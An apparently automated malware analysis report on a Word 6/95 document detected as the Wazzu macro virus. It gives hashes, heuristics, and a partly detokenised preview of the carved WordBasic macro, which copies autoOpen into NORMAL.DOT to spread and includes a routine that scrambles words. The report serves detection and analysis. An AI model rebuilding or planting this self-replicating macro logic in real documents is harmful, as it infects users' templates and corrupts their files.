Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7e9c0127e8e6ea58…

MALICIOUS

Office (OLE)

6.5 KB First seen: 2014-02-28
MD5: cafc6b095e3a0c35ca53210f512bf37c SHA-1: d9f35e7b7bf8a51534a635193108dd40456d12f4 SHA-256: 7e9c0127e8e6ea58079bef31d33a1432b7854224c34adcdd705ab7ba627cd1ec
102 Risk Score

Heuristics 3

  • ClamAV: Doc.Trojan.Wazzu-6 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Wazzu-6
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Recovered legacy WordBasic macro source info OLE_LEGACY_WORDBASIC_MACRO_SOURCE
    The Word 6.0/95 document stores tokenised WordBasic macros in the WordDocument stream rather than as a modern VBA project, so VBA source extraction cannot see them. The macro source was detokenised and carved so its identifiers, string literals (file paths, URLs, registry keys, message text) and comments are available for review and signature scanning.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
wordbasic_macros.txt wordbasic-macro analyzer.wordbasic (detokenised Word 6/95 WordBasic macro source) 523 bytes
SHA-256: 4f7587771835403b43be64a84d40aed21cb4e1933e96172321e8ee0e9eb7a2bf
Preview script
First 1,000 lines of the extracted script
MAIN
, - * errCaught
@cmd0056
dlg @cmd0056
dlg
fileMacro$ = dlg = "\" = dlg @cmd0700 ":autoOpen"
globMacro$ = "Global:autoOpen"
MacroFile$ = @cmd80af @cmd8009 @cmd818e @cmd80b8 0 , 10
MacroFile$ = "NORMAL.DOT"
@cmd80c2 globMacro$ , fileMacro$
@cmd0054 = 1
@cmd80c2 fileMacro$ , globMacro$
Payload
* bye @cmd7468
, - * 0
Payload
i = 1 3
@cmd800e
RndWord
@cmd8116
selWord$ = @cmd8015
@cmd001c
RndWord
@cmd8012 selWord$ = " "
RndWord
@cmd0056
dlg @cmd004e
dlg
wordNum = @cmd8002 @cmd800e @cmd8006 dlg
@cmdc010
@cmdc003 wordNum

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